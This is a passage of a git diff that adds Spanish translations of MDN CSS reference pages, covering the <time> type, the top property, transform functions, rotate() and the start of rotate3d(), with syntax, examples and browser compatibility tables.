++0s         Cero con un signo + y una unidad
+-0ms        Cero con un signo - y una unidad
+</pre>
+
+<h3 id="Tiempos_inválidos">Tiempos inválidos</h3>
+
+<pre class="example-bad">0           Aunque el cero sin unidades está permitido para &lt;length&gt;, no es válido para &lt;time&gt;.
+12.0        Este es un &lt;number&gt;, no un &lt;time&gt;, porque le falta una unidad.
+7 ms        No se permite espacio entre el número y la unidad.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Definición normativa de <code>s</code> y <code>ms</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1','aural.html#times','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición informal de <code>s</code> y <code>ms</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.types.time")}}</p>
diff --git a/files/es/web/css/top/index.html b/files/es/web/css/top/index.html
new file mode 100644
index 0000000000..7e5e36ef80
--- /dev/null
+++ b/files/es/web/css/top/index.html
@@ -0,0 +1,138 @@
+---
+title: Top
+slug: Web/CSS/top
+tags:
+  - CSS
+  - CSS Reference
+  - Referencia_CSS
+  - Todas_las_Categorías
+  - para_revisar
+  - páginas_a_traducir
+translation_of: Web/CSS/top
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Sumario" name="Sumario">Sumario</h3>
+
+<p>La propiedad <code>top</code> especifica parte de la posición de un elemento posicionado. No tiene efecto en elementos no posicionados.</p>
+
+<p>Para los elementos con una posición absoluta (aquellos que tienen la propiedad {{ Cssxref("position") }}<code>: absolute</code> o {{ Cssxref("position") }}<code>: fixed</code>), determina la distancia entre el borde superior del elemento y el borde superior del bloque que lo contiene.</p>
+
+<p>Para los elementos con una posición relativa (aquellos que tienen la propiedad {{ Cssxref("position") }}<code>: relative</code>), determina el desplazamiento hacia abajo que tendrá el elemento con respecto a su posición normal.</p>
+
+<p>Cuando se define tanto la propiedad <code>top </code>como {{cssxref("bottom")}} para un elemento, y  {{cssxref("height")}} no se ha definido, tiene un valor <code>auto </code>o 100%, tanto la distancia <code>top </code>como {{cssxref("bottom")}} se respetan. Si {{cssxref("height")}} está definida, la aplicación de la propiedad <code>top </code>tiene precedencia y {{cssxref("bottom")}} será ignorada.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li>
+ <li>Aplicable a: <a href="/es/CSS/position" title="es/CSS/position">Posicionar Elementos</a></li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Porcentajes: se refieren a la altura del bloque contenedor.</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: valor absoluto, porcentaje ó auto.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval notranslate">   top: &lt;longitud&gt; | &lt;porcentaje&gt; | auto | inherit
+</pre>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="notranslate"> /* se puede también usar unidades px para posicionar body para luego operar con el div */
+ body{
+   width: 100%;
+   height: 100%;
+ }
+ /* ahora podemos operar con unidades de porcentajes (con al 100% respecto de body) */
+ div{
+   position:absolute;
+   left:15%;
+   top:30%;
+   bottom:30%;
+   width:70%;
+   height:40%;
+   text-align:left;
+   border: 3px rgb(0,0,0) solid;
+ }
+</pre>
+
+<pre class="notranslate"> &lt;?xml version="1.0" encoding="utf-8"?&gt;
+ &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+           "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+ &lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"&gt;
+   &lt;head&gt;
+     &lt;meta http-equiv="Content-Type" content="application/xhtml+xml" /&gt;
+     &lt;title&gt;Mozzila.org height top left width porcentaje CSS&lt;/title&gt;
+     &lt;style type="text/css"&gt;
+       /* se puede también usar unidades px para posicionar body para luego operar con el div */
+       body{
+         width: 100%;
+         height: 100%;
+       }
+       /* ahora podemos operar con unidades de porcentajes (con respecto al 100% del body) */
+       div{
+         position:absolute;
+         left:15%;
+         top:30%;
+         bottom:30%;
+         width:70%;
+         height:40%;
+         text-align:left;
+         border: 3px rgb(0,0,0) solid;
+       }
+     &lt;/style&gt;
+   &lt;/head&gt;
+   &lt;body&gt;
+      &lt;center&gt;
+        &lt;div&gt;
+             ...Contenido...
+        &lt;/div&gt;
+      &lt;/center&gt;
+
+   &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+
+<h3 id="Notas" name="Notas"></h3>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-top">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/Style/CSS/current-work#positioning">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad_entre_navegadores" name="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("position") }}, {{ Cssxref("right") }}, {{ Cssxref("bottom") }}, {{ Cssxref("left") }}</p>
diff --git a/files/es/web/css/transform-function/index.html b/files/es/web/css/transform-function/index.html
new file mode 100644
index 0000000000..2e6a49bd81
--- /dev/null
+++ b/files/es/web/css/transform-function/index.html
@@ -0,0 +1,191 @@
+---
+title: transform-function
+slug: Web/CSS/transform-function
+tags:
+  - Transformaciones CSS
+translation_of: Web/CSS/transform-function
+---
+<p>{{CSSRef}}</p>
+
+<p>El tipo de dato CSS <code>&lt;transform-function&gt;</code> denota una función por aplicar a la representación de un elemento para modificarlo. Generalmente, dicha transformación puede ser expresada por matrices, y la imagen resultante puede ser determinada usando multiplicación de matrices en cada punto.</p>
+
+<h2 id="Coordenadas_para_graficos_2D">Coordenadas para graficos 2D</h2>
+
+<p><span style="line-height: 1.5;">Existen varios modelos de coordenadas utilizados para describir la transformación. Las más habituales son el sistema de coordenadas cartesiano y las coordenadas homogéneas.</span></p>
+
+<h3 id="Coordenadas_Cartesianas"><span class="external"><span style="font-size: 1.714285714285714rem;">Coordenadas </span>Cartesianas</span></h3>
+
+<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a>En las <a class="external" href="https://es.wikipedia.org/wiki/Coordenadas_cartesianas">Cordenadas cartesianas</a>, cada punto del <a class="external" href="https://es.wikipedia.org/wiki/Geometr%C3%ADa_euclidiana">espacio Euclidiano</a> es descrito usando dos valores, la  abscisa y la ordenada. El origen, el <code>(0, 0)</code> es la esquina superior izquierda del elemento. <span style="line-height: 1.5;">A diferencia de la convención geométrica habitual, y como la mayoría de los casos en los gráficos por computadora, el eje y (ordenada) va hacia abajo. Cada punto se describe matemáticamente utilizando la notación vectorial <code>(x, y)</code>.</span></p>
+
+<p><span style="line-height: 1.5;">Cada función lineal es descrita usando una matriz 2x2 de la siguiente manera:</span></p>
+
+<div style="text-align: center;">
+<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p>
+</div>
+
+<p>Aplicar la transformación consiste en hacer, por cada punto, la multiplicación de matrices entre ambos:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png"><img src="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png?size=webview" style="height: 32px; width: 189px;"></a>.</div>
+
+<p>Es posible aplicar varias transformaciones en una fila:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png"><img src="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png?size=webview" style="height: 32px; width: 313px;"></a>.</div>
+
+<p>Con esta notación, es posible describir, y por lo tanto componer, las transformaciones más comunes: rotación, escala o transvección. De hecho, todas las transformaciones que son funciones lineales pueden ser descritas. Una transformación mayor no es lineal y por lo tanto debe ser tratada de forma especial cuando se usa esta notación: traslación. El vector de traslación (tx, ty) debe ser expresado de forma separada, como dos parámetros adicionales.</p>
+
+<p>Las <a class="external" href="https://es.wikipedia.org/wiki/Coordenadas_homog%C3%A9neas">coordenadas homogéneas</a> de <a class="external" href="https://es.wikipedia.org/wiki/August_M%C3%B6bius">Möbius</a> en <a class="external" href="https://es.wikipedia.org/wiki/Geometr%C3%ADa_proyectiva">geometría proyectiva</a> llevan a transformaciones matriciales de 3x3 que, aunque son más complejas e inusuales para quienes no son especialistas, no sufren de la limitación de traslación, puesto que puede ser expresada como funciones lineales en esta álgebra, quitando la necesidad de casos especiales.</p>
+
+<h2 id="Funciones_que_definen_transformaciones">Funciones que definen transformaciones</h2>
+
+<p>Existen varias funciones disponibles para describir transformaciones en CSS. Cada una aplica una operación geométrica, en 2D o 3D:</p>
+
+<dl>
+ <dt>{{cssxref("transform-function/matrix","matrix()")}}</dt>
+ <dd>La función <code>matrix()</code> especifica una matriz de transformación 2D homogénea , comprendida por los seis valores especificados. Los valores constantes de dichas matrices son implícitos, y no son enviados como parámetros; los otros parámetros son descritos en orden de columna principal.</dd>
+ <dd><code>matrix(a, b, c, d, tx, ty)</code> es la forma reducida de <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/matrix3d","matrix3d()")}}</dt>
+ <dd>La función <code>matrix3d()</code> describe una transformación 3D como una matriz 4x4 homogénea. Los 16 parámetros son descritos en orden de columna principal.</dd>
+ <dt>{{cssxref("transform-function/perspective","perspective()")}}</dt>
+ <dd>La función <code>perspective()</code> define la distancia entre el plano z=0 y el usuario, para dar cierta perspectiva al elemento posicionado en tercera dimensión. Cada elemento 3D con z&gt;0 se vuelve más grande; cada elemento 3D con z&lt;0 se vuelve más pequeño. La magnitud del efecto se determina por el valor de esta propiedad.</dd>
+ <dt>{{cssxref("transform-function/rotate","rotate()")}}</dt>
+ <dd>La función <code>rotate()</code> define una transformación que mueve al elemento al rededor de un punto fijo (especificado por la propiedad {{Cssxref("transform-origin")}}) sin deformarlo. La cantidad de movimiento es definida por el ángulo especificado; si es positivo, el movimiento será en sentido de las manecillas del reloj, y si es negativo, será en sentido opuesto. Una rotación de 180° es llamada <em>reflexión de punto</em>.</dd>
+ <dt>{{cssxref("transform-function/rotate3d","rotate3d()")}}</dt>
+ <dd>La función <code>rotate3d()</code> describe una transformación que mueve al elemento al rededor de un eje fijo sin deformarlo. La cantidad de movimiento es definido por el ángulo especificado; si es positivo, el movimiento será en sentido de las manecillas del reloj, y si es negativo, será en sentido opuesto. Al contrario de las rotaciones en el plano, la composición de las rotaciones 3D es generalmente no conmutativa; esto significa que el orden en el que se aplican las rotaciones es crucial.</dd>
+ <dt>{{cssxref("transform-function/rotateX","rotateX()")}}</dt>
+ <dd>La función <code>rotateX()</code> describe una transformación que mueve el elemento al rededor de su eje de las abscisas sin deformarlo. La cantidad de movimiento es definida por el ángulo especificado; si es positivo, el movimiento será en sentido de las manecillas del reloj, y si es negativo, será en sentido opuesto. El eje de rotación pasa por el origen, definido por la propiedad cssxref("transform-origin") }}.</dd>
+ <dd><code>rotateX(a)</code> es la forma reducida de <code>rotate3D(1, 0, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateY","rotateY()")}}</dt>
+ <dd>La función <code>rotateY()</code> describe una transformación que mueve el elemento al rededor de su eje de las ordenadas sin deformarlo. La cantidad de movimiento es definida por el ángulo especificado; si es positivo, el movimiento será en sentido de las manecillas del reloj, y si es negativo, será en sentido opuesto. El eje de rotación pasa por el origen, definido por la propiedad {{ cssxref("transform-origin") }}.</dd>
+ <dd><code>rotateY(a)</code> es la forma reducida de <code>rotate3D(0, 1, 0, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/rotateZ","rotateZ()")}}</dt>
+ <dd>La función <code>rotateZ()</code> describe una transformación que mueve el elemento al rededor de su eje Z sin deformarlo. La cantidad de movimiento es definida por el ángulo especificado; si es positivo, el movimiento será en sentido de las manecillas del reloj, y si es negativo, será en sentido opuesto. El eje de rotación pasa por el origen, definido por la propiedad {{ cssxref("transform-origin") }}.</dd>
+ <dd><code>rotateZ(a)</code> es la forma corta de <code>rotate3D(0, 0, 1, a)</code>.</dd>
+ <dt>{{cssxref("transform-function/scale","scale()")}}</dt>
+ <dd>La función <code>scale()</code> modifica el tamaño del elemento. Puede aumentar o disminuir su tamaño, y ya que la cantidad de escalada es definida por un vector, puede hacerlo más hacia una dirección que a otra. Esta transformación se caracteriza por un vector cuyas coordenadas definen qué tanto se escalará hacia cada dirección. Si ambas coordenadas del vector son iguales, el ajuste es uniforme, o isotrópico, y la figura del elemento es conservada. En ese caso, la función de escalada define una homotecia.</dd>
+ <dt>{{cssxref("transform-function/scale3d","scale3d()")}}</dt>
+ <dd>La función <code>scale3d()</code> modifica el tamaño de un elemento. Siendo que la cantidad de escalada es definida por un vector, puede cambiar el tamaño a diferentes dimensiones en diferentes escalas. Esta transformación se caracteriza por un vector cuyas coordenadas definen qué tanto se escalará hacia cada dirección. Si las tres coordenadas del vector son iguales, el ajuste es uniforme, o isotrópico, y la figura del elemento es conservada. En ese caso, la función de escalada define una homotecia.</dd>
+ <dt>{{cssxref("transform-function/scaleX","scaleX()")}}</dt>
+ <dd>La función <code>scaleX()</code> modifica la abscisa de cada punto del elemento con base en un factor constante, excepto si dicho factor es <code>1</code>, en cuyo caso la función es la transformación de identidad. La escalada no es isotrópica y los ángulos del elemento no son conservados. <code>scaleX(-1)</code> define una <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">simetría axial</a> con un eje vertical pasando por el origen (según sea sea especificado en la propiedad {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleX(sx)</code> es la forma corta de <code>scale(sx, 1)</code> o de <code>scale3d(sx, 1, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/scaleY","scaleY()")}}</dt>
+ <dd>La función <code>scaleY()</code> modifica la ordenada de cada punto del elemento con base en un factor constante, excepto si el factor es <code>1</code>, en cuyo caso la función es una transformación de identidad. La escalada no es isotrópica y los ángulos del elemento no son conservados. <code>scaleY(-1)</code> define una <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">simetría axial</a> con un eje horizontal pasando por el origen (según sea especificado en la propiedad {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleY(sy)</code> es la forma corta de <code>scale(1, sy)</code> o de <code>scale3d(1, sy, 1)</code>.</dd>
+ <dt>{{cssxref("transform-function/scaleZ","scaleZ()")}}</dt>
+ <dd>La función <code>scaleZ()</code> modifica la coordenada Z de cada punto del elemento con base en un factor constante, excepto si el factor es <code>1</code>, en cuyo caso la función es una transformación de identidad. La escalada no es isotrópica y los ángulos del elemento no son conservados. <code>scaleZ(-1)</code> define una <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">simetría axial</a> al rededor del eje Z, pasando por el origen (según sea especificado en la propiedad {{cssxref("transform-origin")}}).</dd>
+ <dd><code>scaleZ(sz)</code> es la forma corta de <code>scale3d(1, 1, sz)</code>.</dd>
+ <dt>{{cssxref("transform-function/skew","skew()")}}</dt>
+ <dd>La función <code>skew()</code> es un mapeo de cizallamiento, o transvección, distorsionando cada punto del elemento con base en cierto ángulo en cada dirección. Esto se hace incrementando cada coordenada por un valor proporcionado para el ángulo especificado y en distancia hacia el origen. Mientras más lejos del origen, mientras más alejado esté del punto, mayor será el valor que se agrega.</dd>
+ <dt>{{cssxref("transform-function/skewX","skewX()")}}</dt>
+ <dd>La función <code>skewX()</code> es una transvección horizontal, que distorsiona cada punto de un elemento con base en cierto ángulo en dirección horizontal. Esto se hace incrementando la coordenada abscisa por un valor proporcionado al ángulo especificado, y en distancia hacia el origen. Mientras más lejos esté del origen, mientras más lejano esté el punto, mayor será el valor que se agrega.</dd>
+ <dt>{{cssxref("transform-function/skewY","skewY()")}}</dt>
+ <dd>La función <code>skewY()</code> es una transvección vertical, que distorsiona cada punto de un elemento con base en cierto ángulo en dirección vertical. Esto se hace incrementando la coordenada ordenada por un valor proporcionado al ángulo especificado, y en distancia hacia el origen. Mientras más lejos esté del origen, mientras más lejano esté el punto, mayor será el valor que se agrega.</dd>
+ <dt>{{cssxref("transform-function/translate","translate()")}}</dt>
+ <dd>La función <code>translate()</code> mueve la posición del elemento sobre el plano. Esta transformación se caracteriza por un vector cuyas coordenadas definen qué tanto se moverá en cada dirección.</dd>
+ <dt>{{cssxref("transform-function/translate3d","translate3d()")}}</dt>
+ <dd>La función <code>translate3d()</code> mueve la posición del elemento dentro de un espacio tridimensional. Esta transformación se caracteriza por un vector tridimensional, cuyas coordenadas definen qué tanto se moverá en cada dirección.</dd>
+ <dt>{{cssxref("transform-function/translateX","translateX()")}}</dt>
+ <dd>La función <code>translateX()</code> mueve el elemento horizontalmente sobre el plano. Esta transformación se caracteriza por un valor {{cssxref("&lt;length&gt;")}} que define qué tanto se moverá horizontalmente.</dd>
+ <dd><code>translateX(tx)</code> es la forma reducida de <code>translate(tx, 0)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateY","translateY()")}}</dt>
+ <dd>La función <code>translateY()</code> mueve el elemento verticalmente sobre el plano. Esta transformación se caracteriza por un valor {{cssxref("&lt;length&gt;")}} que define qué tanto se moverá verticalmente.</dd>
+ <dd><code>translateY(ty)</code> es la forma reducida de <code>translate(0, ty)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateZ","translateZ()")}}</dt>
+ <dd>La función <code>translateZ()</code> mueve el elemento a través del eje Z en el espacio tridimensional. Esta transformación se caracteriza por un valor {{cssxref("&lt;length&gt;")}} que define qué tanto se moverá.</dd>
+ <dd><code>translateZ(tz)</code> es la forma reducida de <code>translate3d(0, 0, tz)</code>.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Soporte de 3D</td>
+   <td>12.0</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>10.0</td>
+   <td>15.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatAndroid(2.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11.5</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>Soporte de 3D</td>
+   <td>{{CompatAndroid(3.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>22</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 14.0 quitó el soporte experimental para <code>skew()</code>, pero se reintrodujo en Gecko 15.0 por razones de compatibilidad. Siendo no estándar, y probablemente removido en el futuro, no se recomienda usarlo.</p>
+
+<p>Antes de Firefox 16, los valores de traslación de <code>matrix()</code> y <code>matrix3d()</code> podían ser valores {{cssxref("length")}}, además del valor estándar {{cssxref("number")}}.</p>
+
+<p>[2] Internet Explorer 5.5 y superiores soportan la propiedad exclusiva <a href="https://msdn.microsoft.com/es-es/library/ms533014(VS.85,loband).aspx">Matrix Filter</a>, la cual puede ser usada para lograr un efecto similar.</p>
+
+<p>Internet Explorer 9.0 e inferiores no tienen soporte para transformaciones 3D. Combinar transformaciones 3D y 2D, como <code>-ms-transform: rotate(10deg) translateZ(0);</code>, hará que la propiedad completa sea descartada.</p>
diff --git a/files/es/web/css/transform-function/rotate()/index.html b/files/es/web/css/transform-function/rotate()/index.html
new file mode 100644
index 0000000000..65c97a27fc
--- /dev/null
+++ b/files/es/web/css/transform-function/rotate()/index.html
@@ -0,0 +1,79 @@
+---
+title: rotate()
+slug: Web/CSS/transform-function/rotate()
+tags:
+  - CSS
+  - NeedsCompatTable
+  - Referencia
+  - Transformaciones CSS
+translation_of: Web/CSS/transform-function/rotate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La función <a href="/es/docs/">CSS</a> <code><strong>rotate()</strong></code>  define una transformación que gira un elemento alrededor de un punto fijo en un plano 2D sin deformarlo.</p>
+
+<p>El punto fijo alrededor del cual gira el elemento, mencionado anteriormente, también se conoce como el <strong>origen de transformación</strong>. Se establece de manera predeterminada en el centro del elemento, pero se puede personalizar utilizando la propiedad {{ cssxref("transform-origin") }}.</p>
+
+<p>La cantidad de rotación generada por la propiedad <code>rotate()</code> se define mediante un {{cssxref("&lt;angle&gt;")}}. Si es positivo, el movimiento serán en el sentido de las agujas del reloj; si es negativo, en sentido contrario a las agujas. Una rotación de 180° se llama centro de simetría.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12113/rotate.png" style="height: 175px; width: 258px;"></p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox notranslate">rotate(<em>a</em>)
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>es un {{ cssxref("&lt;angle&gt;") }}  que representa en ángulo de rotación. Un ángulo positivo representa un rotación en el sentido del reloj y un ángulo negativo representa una rotación en sentido contrario a las agujas del reloj.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas homgéneas en  ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordinadas cartesianas en ℝ<sup>3</sup></th>
+   <th scope="col">Coordenadas homgéneas en ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr> <mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable></mfenced></math></td>
+   <td><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[cos(a) sin(a) -sin(a) cos(a) 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformed"&gt;bar&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformed{
+  /* idéntico a rotateZ(45deg); */
+  transform: rotate(45deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples","100%","200")}}</p>
diff --git a/files/es/web/css/transform-function/rotate3d()/index.html b/files/es/web/css/transform-function/rotate3d()/index.html
new file mode 100644
index 0000000000..86c5f44399
--- /dev/null
+++ b/files/es/web/css/transform-function/rotate3d()/index.html
@@ -0,0 +1,121 @@
+---
+title: rotate3d()
+slug: Web/CSS/transform-function/rotate3d()
+tags:
+  - CSS
+  - Funciones CSS
+  - Referencia
+translation_of: Web/CSS/transform-function/rotate3d()
+---
+<div>{{CSSRef}}</div>
+
+<p>La función <code>rotate3d()</code> de CSS define una transformación que mueve el elemento alrededor de un eje fijo sin deformarlo. La cantidad de movimiento está definida por el ángulo especificado; si es positivo, el movimiento será en el sentido de las agujas del reloj, si es negativo, será contrario a las agujas del reloj.</p>
+
+<p>En el espacio tridimencional, las rotaciones tienen tres grados de libertad, que describen un ángulo de rotación. El ángulo de rotación está definido por un vector [x, y, z] y pasa por el origen (como lo define la propiedad {{ cssxref("transform-origin") }} de CSS. Si el vector no está <em>normalizado</em>, lo que significa que la suma del cuadrado de sus tres coordenadas no es igual a 1, el mismo será normalizado internamente. Un vector no-normalizable, como es el caso del vector nulo, [0, 0, 0], causará que la rotación no sea aplicada, sin que esto invalide la propiedad CSS en su totalidad.</p>
+
+<div class="note">Contrario a las rotaciones en el plano, la composición de las rotaciones 3D normalmente no es conmutativa; lo que significa que el orden en el que dichas rotaciones son aplicadas es crucial.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La cantidad de rotación creada por <code>rotate3d()</code> está especificada por tres {{cssxref("&lt;number&gt;")}}s y un {{cssxref("&lt;angle&gt;")}}. El <code>&lt;number&gt;</code>s representa las coordenadas x, y y z del vector, denotando los ejes de la rotación. El <code>&lt;angle&gt;</code> representa el angulo de rotación; si es positivo el movimiento será en el sentido de las agujas del reloj; si es negativo será en el sentido opuesto.</p>
+
+<pre class="syntaxbox">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>)
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><em>x</em></dt>
+ <dd>Es un {{cssxref("&lt;number&gt;")}} que describe la coordenada-x del vector y denota el eje de rotación.</dd>
+ <dt><em>y</em></dt>
+ <dd>Es un {{cssxref("&lt;number&gt;")}} que describe la coordenada-y del vector y denota el eje de rotación.</dd>
+ <dt><em>z</em></dt>
+ <dd>Es un {{cssxref("&lt;number&gt;")}} que describe la coordenada-z del vector y denota el eje de rotación.</dd>
+ <dt><em>a</em></dt>
+ <dd>Es un {{ cssxref("&lt;angle&gt;") }} que representa el ángulo de rotación. Un valor positivo indica una rotación en el sentido de las agujas del reloj, un valor negativo indica una rotación en sentido contrario a las agujas del reloj.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>2</sup></th>
+   <th scope="col">Coordenadas homogéneas en ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordenadas cartesianas en ℝ<sup>3</sup></th>
+   <th scope="col">Coordenadas homogéneas en ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">Esta transformación aplica al espacio tridimencional y no puede ser representada en el plano.</td>
